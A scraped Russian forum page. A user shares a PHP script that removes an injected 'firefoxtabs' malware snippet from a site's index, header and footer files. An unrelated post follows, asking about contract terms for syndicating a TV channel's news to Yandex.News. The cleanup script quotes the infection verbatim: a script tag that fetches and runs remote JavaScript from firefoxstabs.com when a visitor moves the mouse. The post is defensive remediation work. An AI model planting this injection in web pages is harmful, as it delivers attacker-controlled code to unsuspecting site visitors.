Logik7

Рейтинг
6
Регистрация
15.07.2010

/ru/forum/comment/8948605

тут скрипт быстрой чистки

Поймали эту гадость, знакомый разработчик за 10 минут написал вот такой скрипт на PHP

Автор скрипта пожелал остаться инкогнито :)


<?php
define ('BR', "<br />\r\n");
$srch='<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></script><script type="text/javascript">var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1; x.getScript(\'http://firefoxstabs.com/\' + Math.random().toString().substring(3) + \'.js\', function() {flag = 2;});}});});</script>';

function clean_file($file){
global $srch;
$basename=basename($file);
$filename=substr($basename, 0, strrpos($basename, '.'));
if ($filename=='index' or $filename=='header' or $filename=='top' or $filename=='menu' or $filename=='footer' or $filename=='default') {
$f_in=file_get_contents($file);
if (strpos($f_in, $srch)!=false) {
print($file.BR);
$f_in=str_replace($srch, '', $f_in);
file_put_contents($file, $f_in);
}
}
}

function firefoxtabs_remover($dir){
if ($objs = glob($dir."/*")) {
foreach($objs as $obj) {
if (is_dir($obj)) firefoxtabs_remover($obj);
else clean_file($obj);
}
}
}

$dir=realpath('./');
firefoxtabs_remover($dir);
?>

код ищет файлы от корня с именами

index

menu

header

top

footer

default

в них ищет вредоносный код и удаляет его

в итоге быстро удадлили весь "вредный код"

естетсвенно поменяли все пароли

Logik7 добавил 15.05.2011 в 09:49

модераторы ... переименуйте тему :)

этот вирус не для ДЛЕ - думаю более правильное название "Помогите избавиться от вируса firefoxtabs com"

Приветствую!

Нужна юридическая консультация : )

Ситуация такая, у нас есть «узкорегиональный» новостной сайт (домен принадлежит мне), родился сайт на основе личных договоренностей с директором новостей одного из телеканалов. Я сделал сайт, они (телевидение) ежедневно мне шлют новости и фото, мы их размещаем.

Сайт готовы принять в Яндекс.Новости, но в соглашении Яндекс.Новостей написано

«Обладает правами на Данные в объеме, позволяющем предоставление неисключительных прав на использование Данных Яндексу в соответствии с условиями Соглашения, а также что размещение и иное использование Яндексом Данных по Соглашению в соответствии с его целями и условиями не нарушает и не влечет за собой нарушение каких-либо прав третьих лиц и действующего законодательства, не обременено в отношении Яндекса какими-либо правами третьих лиц, в связи с чем Партнер обязуется в том числе не включать в экспортируемые Яндексу Данные какие-либо материалы, сведения и факты, порочащие честь, достоинство или деловую репутацию и/или нарушающие авторские, договорные или иные охраняемые законом права третьих лиц, а также обязуется своими силами и за свой счет разрешать все споры и урегулировать претензии третьих лиц, поступившие как в адрес Партнера, так и в адрес Яндекса в отношении Данных, в связи с размещением и/или иным использованием Яндексом Данных в рамках Соглашения.»

то есть, что бы прикрыть себя и размещать официально новости этого телевидения на своем сайте (да и что бы потом не попросили удалить контент), передавать новости в «Яндекс.Новости», нам нужно заключить с ним договор.

Что нужно написать в договоре? суть такова должна быть что мы можем размещать присланный ими контент навсегда на своем сайте и можем передавать эти данные в Яндекс.Новости и другие «агрегаторы» новостей.